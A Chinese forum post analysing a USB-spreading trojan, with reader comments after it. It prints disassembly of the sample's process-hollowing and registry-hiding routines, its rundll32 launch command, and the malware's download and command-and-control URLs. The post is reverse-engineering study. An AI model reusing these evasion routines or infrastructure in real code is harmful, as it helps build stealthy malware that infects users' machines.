安静的小酒吧 发表于 2015-12-5 12:55

一个感染型U盘木马分析

本帖最后由 安静的小酒吧 于 2015-12-7 00:26 编辑

一个感染型U盘木马分析安静的小酒吧我在吾爱的第3个样本分析基本信息
名称未知
类型感染型木马
来源吾爱破解-病毒样本区
运行环境XP
开发语言VC6/汇编
分析环境XP
分析时间2015-12-1
文件信息
文件名文件大小MD5
BEINI(8GB).lnk2KbED2BB7CE9F13A9550D4F401B6FD56129
_WGN.nil(名称中间部分随机)6kb2A937B12BA42F896E815FD4AC96CBC37
Desktop.ini4kb272CD74C46CF0EBAC596CF27D1818D01
Thumbs.db185kb3DEB0BBD9BC926AFE52E88486EDBED6F
简介         
    样本来自论坛的病毒样本区(http://www.52pojie.cn/thread-434393-1-1.html),已经有论坛好友进行初步分析(http://www.52pojie.cn/thread-441079-1-1.html)(分析到下载文件,由于链接失效,就停止了),但我发现该样本还有很多地方值得挖掘,就进行了进一步分析,最后发现该样本确实有很多值得研究的地方。
   样本总体来说技术手法不错,有很多值得学习的地方,尤其启动和隐藏部分设计精巧。由于启动部分执行漫长,所以下面的分析简要概括为主,并对关键技术及调试方法进行说明。技术手法相当不做,很佩服该样本的开发人员的能力。
感染症状      
   样本的感染症状为,U盘里的文件莫名其妙全部消失(如果开启了显示隐藏的系统文件的话可以看到一个名称奇怪的目录,全部在那个里面),但是看到几个奇怪的文件,一个快捷方式(样本从这里开始启动,不要随便双击),_WXX.nil,(XX表示随机,也可能是XXX),desktop.ini, Thumbs.db。
技术特征1. 快捷方式启动rundll32,运行一个dll,然后是一系列的加载。2.样本中多次出现shellcode式写法的汇编代码。3.出现两次自我创建、一次进程替换,这种方法对于动态分析和检测有很好的规避效果。4.样本把敏感的数据部分保存到了注册表中,可以很好的规避静态查杀。样本框架
执行流程
主程序模块:
    1.通过快捷方式运行“%homedrive%\WINDOWS\System32\rundll32.exe _WGN.nil,rundll32”,即使用系统的rundll32.exe运行_WGN.nil,并且调用_WGN.nil的rundll32这个导出函数。    2.读入并解密当前目录下的desktop.ini,解密后是一段shellcode写法的指令,运行这段指令。    3.尝试打开互斥体“CCC”,判断主机是否已经被感染。    4.尝试从http://m.deltaheavy.ru/m下载文件Thumbs.db,该链接已经失效,但是得到样本时一起附加了这个文件。(分析到最后可以发现,下载文件应该是用于样本更新的,感染移动磁盘时会写入这样一个文件)。    5.解密Thumbs.db文件,将其写入“C:\MSI\TrustedInstaller.exe”,并运行,然后循环尝试删除usb3.exe这个文件。
TrustedInstaller.exe模块:
    1.PE文件带upx壳,脱壳    2.自我创建(《逆向工程核心原理》里面这样命名的,创建一个挂起的子进程,将部署的内存信息卸载,然后再WriteProcessMemory,最后再将该进程唤醒),将要新写入PE文件从内存中抠出来单独调试,命名为temp0.exe。
temp0.exe模块:
    1.判断是否有鼠标移动(一般是用来检测动态分析或者虚拟机检测之类的)。    2.尝试打开互斥体“CCC”。    3.解密并释放一个PE文件:msiexec.exe。    4.在注册表中存放一个zip压缩文件。    5.将自身加密后保存到注册表中(注册表是一个比较好的藏东西的地方,一般不会有人去注意这个地方)。    6.运行释放的PE文件msiexec.exe。
msiexec.exe模块:
    1.PE文件带upx壳,脱壳。    2.再次使用TrustedInstaller.exe模块中的第二步,使用同样的处理手法,从内存中dump出来一个PE文件,命名为temp1.exe。
temp1.exe模块:
    1.代码自解密。    2.进程替换(《恶意代码分析实战》将这种手法称为进程替换),创建挂起的wuauclt.exe,然后将其挂起,然后写入自己的代码并执行(处理方法看下面的关键技术部分)。    3.进入被替换的wuauclt.exe。    4.写注册表自启动项。    5.创建互斥体,互斥名:2029224350。    6.随机生成一个文件名,将自身复制到temp目录下(C:\DOCUME~1\ALLUSE~1\LOCALS~1\Temp\cciiuk.exe)。    7.创建多个线程:      线程一:
      (1)读取temp0.exe模块第四步在注册标准存放的zip压缩包并解密。      (2) 创建互斥体”CCC“。      (3)下载文件保存到temp目录(下载链接已经失效),下载地址:                     http://a.deltaheavy.ru/a?=sbsskksbsskkksbbbkkbbkkk
                     http://b.deltaheavy.ru/b?=ddllldddddddduududuuuuuu
                     http://c.deltaheavy.ru/c?=qbsmxqbjmxyisbeypjismxqj
      (4)遍历磁盘驱动,查找可移动磁盘。      (5)检测移动磁盘是否已经被感染。      (6)创建一个隐藏的目录,将现有的文件全部移动到该目录下。      (7)感染移动磁盘,释放一个_WXUV.nil(前半部分随机生成),desktop.ini,Thmus.db,制作一个u盘的快捷方式,用来启动主程序模块的第一个步骤。      (8)实时监控设备插入消息,出现移动设备插入时再次感染。       线程二:
         枚举注册表项(LOCAL_MACHINE\software\Microsoft),查找特定项。       线程三:
       (1)该线程主要用来进行网络连接。                                                                           
       (2) 尝试连接这个地址http://morphed.ru/static.php 并发送如下字符串:                “upqchSk8slbBFeZmnIKGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NhEPKgsg9mY3qw=="。关键技术1. TrustedInstaller.exe模块中的自我创建(关键技术可以参阅《逆向工程核心原理》第55章):    创建一个挂起的子进程:并卸载越有的内存,然后部署新的内存块:00401CB4    68 08AC4000   push TrustedI.0040AC08
00401CB9    68 60AF4000   push TrustedI.0040AF60                ; UNICODE "D"
00401CBE    6A 00         push 0x0
00401CC0    6A 00         push 0x0
00401CC2    6A 04         push 0x4
00401CC4    6A 00         push 0x0
00401CC6    6A 00         push 0x0
00401CC8    6A 00         push 0x0
00401CCA    6A 00         push 0x0
00401CCC    68 D4AF4000   push TrustedI.0040AFD4                ; UNICODE "C:\Documents and Settings\Administrator\桌面\Trusted"
00401CD1    FF15 C4AF4000   call dword ptr ds:          ; kernel32.CreateProcessW
00401CD7    C745 FC 5400000>mov dword ptr ss:,0x54
00401CDE    8B45 FC         mov eax,dword ptr ss:
00401CE1    50            push eax
00401CE2    FF15 FCB14000   call dword ptr ds:          ; kernel32.GlobalFree
00401CE8    8B0D 1CAC4000   mov ecx,dword ptr ds:
00401CEE    8B51 34         mov edx,dword ptr ds:
00401CF1    52            push edx
00401CF2    A1 08AC4000   mov eax,dword ptr ds:
00401CF7    50            push eax
00401CF8    FF15 18AF4000   call dword ptr ds:          ; ntdll.ZwUnmapViewOfSection
00401CFE    C745 F8 3A00000>mov dword ptr ss:,0x3A
00401D05    8B4D F8         mov ecx,dword ptr ss:
00401D08    51            push ecx                              ; ntdll.7C92F641
00401D09    FF15 FCB14000   call dword ptr ds:          ; kernel32.GlobalFree
00401D0F    6A 40         push 0x40
00401D11    68 00300000   push 0x3000
00401D16    8B15 1CAC4000   mov edx,dword ptr ds:
00401D1C    8B42 50         mov eax,dword ptr ds:
00401D1F    50            push eax
00401D20    8B0D 1CAC4000   mov ecx,dword ptr ds:
00401D26    8B51 34         mov edx,dword ptr ds:
00401D29    52            push edx
00401D2A    A1 08AC4000   mov eax,dword ptr ds:
00401D2F    50            push eax
00401D30    FF15 28AC4000   call dword ptr ds:          ; kernel32.VirtualAllocEx
00401D36    6A 58         push 0x58
00401D38    6A 17         push 0x17
00401D3A    FF15 50AF4000   call dword ptr ds:          ; kernel32.CreateToolhelp32Snapshot
00401D40    6A 00         push 0x0
00401D42    8B0D 1CAC4000   mov ecx,dword ptr ds:
00401D48    8B51 54         mov edx,dword ptr ds:
00401D4B    52            push edx
00401D4C    8B45 08         mov eax,dword ptr ss:
00401D4F    50            push eax
00401D50    8B0D 1CAC4000   mov ecx,dword ptr ds:
00401D56    8B51 34         mov edx,dword ptr ds:
00401D59    52            push edx
00401D5A    A1 08AC4000   mov eax,dword ptr ds:
00401D5F    50            push eax
00401D60    FF15 BCAF4000   call dword ptr ds:          ; kernel32.WriteProcessMemory重新设置进程的上下文信息(主要是设置新进程的入口点),并唤醒新进程。00401D8F    68 40AC4000   push TrustedI.0040AC40
00401D94    A1 0CAC4000   mov eax,dword ptr ds:
00401D99    50            push eax
00401D9A    FF15 20AF4000   call dword ptr ds:          ; kernel32.GetThreadContext
00401DA0    6A 0E         push 0xE
00401DA2    6A 47         push 0x47
00401DA4    FF15 D0AF4000   call dword ptr ds:          ; kernel32.GlobalAlloc
00401DAA    8B0D 1CAC4000   mov ecx,dword ptr ds:
00401DB0    8B51 34         mov edx,dword ptr ds:
00401DB3    A1 1CAC4000   mov eax,dword ptr ds:
00401DB8    0350 28         add edx,dword ptr ds:
00401DBB    8915 F0AC4000   mov dword ptr ds:,edx
00401DC1    6A 62         push 0x62
00401DC3    6A 44         push 0x44
00401DC5    6A 00         push 0x0
00401DC7    FF15 2CAC4000   call dword ptr ds:          ; kernel32.FindResourceA
00401DCD    68 40AC4000   push TrustedI.0040AC40
00401DD2    8B0D 0CAC4000   mov ecx,dword ptr ds:
00401DD8    51            push ecx
00401DD9    FF15 A4AF4000   call dword ptr ds:          ; kernel32.SetThreadContext
00401DDF    6A 43         push 0x43
00401DE1    6A 56         push 0x56
00401DE3    FF15 D0AF4000   call dword ptr ds:          ; kernel32.GlobalAlloc
00401DE9    8B15 0CAC4000   mov edx,dword ptr ds:
00401DEF    52            push edx
00401DF0    FF15 58AF4000   call dword ptr ds:          ; kernel32.ResumeThread
根据WriteProcessMemory的参数buf的地址从内存中可以dump出来一个PE文件,对可以对PE文件进行单独调试。内存中的PE文件
2. 进程替换。进程替换的方法大致和自我创建相同,只是一般替换成一个系统的可执行文件,然后在系统可执行文件的入口处修改成跳到自身的一个跳转即可。创建的进程修改入口指令

001E033B    8B7D CC         mov edi,dword ptr ss:
001E033E    037D DC         add edi,dword ptr ss:
001E0341    B0 68         mov al,0x68
001E0343    AA            stos byte ptr es:
001E0344    8B45 08         mov eax,dword ptr ss:                     ; temp2.00407992
001E0347    2B45 F8         sub eax,dword ptr ss:                     ; temp2.00400000
001E034A    0345 D4         add eax,dword ptr ss:
001E034D    AB            stos dword ptr es:
001E034E    B0 C3         mov al,0xC3
001E0350    AA            stos byte ptr es:

修改前修改后    这种方式的替换调试比较麻烦,我采用的是将入口写入的跳转指令写改为一个死循环,然后让其运行起来,在使用OD附加对应进程(一般还会存在一个系统同名的进程,注意PID)。这样断下来的结果就在你写入的死循环的位置,这样把原先的指令回复后就可以进行调试了。

我修改的循环指令
3.样本另一个技术特点就是在注册标准存储关键信息例如压缩文件、加密后的PE文件,这样的方法容易规避静态查杀。
0040138C|.56                     push esi                                          ; /hTemplateFile = 00000044 (window)
0040138D|.56                     push esi                                          ; |Attributes = SYSTEM|40
0040138E|.6A 03                  push 0x3                                          ; |Mode = OPEN_EXISTING
00401390|.56                     push esi                                          ; |pSecurity = 00000044
00401391|.56                     push esi                                          ; |ShareMode = 44
00401392|.68 00000080            push 0x80000000                                 ; |Access = GENERIC_READ
00401397|.8D4424 30                lea eax,dword ptr ss:                   ; |
0040139B|.50                     push eax                                          ; |FileName = 00000001 ???
0040139C|.FF15 50804000            call dword ptr ds:[<&KERNEL32.CreateFileW>]       ; \CreateFileW
004013A2|.894424 10                mov dword ptr ss:,eax
004013A6|.83F8 FF                  cmp eax,-0x1
004013A9|.0F84 A0000000            je temp.0040144F
004013AF|.56                     push esi                                          ; /pFileSizeHigh = 00000044
004013B0|.50                     push eax                                          ; |hFile = 00000001
004013B1|.FF15 4C804000            call dword ptr ds:[<&KERNEL32.GetFileSize>]       ; \GetFileSize
004013B7|.6A 04                  push 0x4                                          ; /Protect = PAGE_READWRITE
004013B9|.68 00100000            push 0x1000                                       ; |AllocationType = MEM_COMMIT
004013BE|.8BD8                     mov ebx,eax                                       ; |
004013C0|.53                     push ebx                                          ; |Size = 18991 (100753.)
004013C1|.56                     push esi                                          ; |Address = 00000044
004013C2|.FF15 64804000            call dword ptr ds:[<&KERNEL32.VirtualAlloc>]      ; \VirtualAlloc
004013C8|.56                     push esi                                          ; /pOverlapped = 00000044
004013C9|.8BF8                     mov edi,eax                                       ; |
004013CB|.8D4424 18                lea eax,dword ptr ss:                   ; |
004013CF|.50                     push eax                                          ; |pBytesRead = 00000001
004013D0|.53                     push ebx                                          ; |BytesToRead = 18991 (100753.)
004013D1|.57                     push edi                                          ; |Buffer = NULL
004013D2|.FF7424 20                push dword ptr ss:                      ; |hFile = NULL
004013D6|.FF15 40804000            call dword ptr ds:[<&KERNEL32.ReadFile>]          ; \ReadFile
004013DC|.E8 860B0000            call temp.00401F67
004013E1|.99                     cdq
004013E2|.B9 FF000000            mov ecx,0xFF
004013E7|.F7F9                     idiv ecx
004013E9|.897424 0C                mov dword ptr ss:,esi
004013ED|.42                     inc edx                                           ;ntdll.KiFastSystemCallRet
004013EE|.3BDE                     cmp ebx,esi
004013F0|.76 19                  jbe short temp.0040140B
004013F2|>8B4424 0C                /mov eax,dword ptr ss:
004013F6|.8A0C38                   |mov cl,byte ptr ds:
004013F9|.80E9 42                  |sub cl,0x42
004013FC|.32CA                     |xor cl,dl
004013FE|.FF4424 0C                |inc dword ptr ss:
00401402|.880C38                   |mov byte ptr ds:,cl
00401405|.395C24 0C                |cmp dword ptr ss:,ebx
00401409|.^ 72 E7                  \jb short temp.004013F2
0040140B|>53                     push ebx                                          ; /BufSize = 18991 (100753.)
0040140C|.57                     push edi                                          ; |Buffer = NULL
0040140D|.6A 03                  push 0x3                                          ; |ValueType = REG_BINARY
0040140F|.56                     push esi                                          ; |Reserved = 0x44
00401410|.68 F0A04000            push temp.0040A0F0                              ; |ValueName = "ImageBase"
00401415|.FF35 442D4200            push dword ptr ds:                      ; |hKey = 0x44
0040141B|.FF15 28804000            call dword ptr ds:[<&ADVAPI32.RegSetValueExW>]    ; \RegSetValueExW
00401421|.68 00800000            push 0x8000                                       ; /FreeType = MEM_RELEASE
00401426|.56                     push esi                                          ; |Size = 44 (68.)
00401427|.57                     push edi                                          ; |Address = NULL
00401428|.FF15 30804000            call dword ptr ds:[<&KERNEL32.VirtualFree>]       ; \VirtualFree
0040142E|.FF7424 10                push dword ptr ss:                      ; /hObject = 0000003C (window)
00401432|.FF15 34804000            call dword ptr ds:[<&KERNEL32.CloseHandle>]       ; \CloseHandle
00401438|.FF35 442D4200            push dword ptr ds:                      ; /hKey = 00000044 (window)
0040143E|.FF15 00804000            call dword ptr ds:[<&ADVAPI32.RegCloseKey>]       ; \RegCloseKey

加密的PE文件压缩文件
4.网络连接,该样本的网络连接是采用HTTP协议的,多次尝试连接一个域名,但是由于链接已经失效,所以后期没法分析。
抓包获取到的数据
小结          该样本过程比较复杂,分析起来难度略大,但还是跟踪下来的,尤其是自我创建和进程替换部分的调试比较困难,第一次使用死循环这种方式,发现这种方法特别有效,对于其他形式的进程注入,该方法同样有效。
    最后不得不佩服样本开发者如此牛逼的框架设计和编码实现能力,尤其需要对汇编语言和windows编程相当熟悉的(其中使用了很多微软未公开的ntdll.dll里面的函数)。
附件:



z1757608322 发表于 2015-12-5 13:02

膜拜大神。。。

z254665257 发表于 2015-12-5 13:36

太长了一句都看不懂      我还是马个克

seazer 发表于 2015-12-5 13:46

那个树状图很好看啊

威廉 发表于 2015-12-5 13:47

支持楼主~

292219828 发表于 2015-12-5 13:50

虽然看不懂,但是好厉害的样子

52pjtest 发表于 2015-12-5 22:57

不知哪位朋友知道未公开函数、指令如何获得,反汇编吗?!

定个一份爱 发表于 2015-12-5 23:02

看着头晕 不适合我这小白

宁雨择 发表于 2015-12-11 22:51

仔细看了,确实有技术含量

8362455 发表于 2015-12-13 03:15

突然发现这论坛真心强大
页: [1] 2 3
查看完整版本: 一个感染型U盘木马分析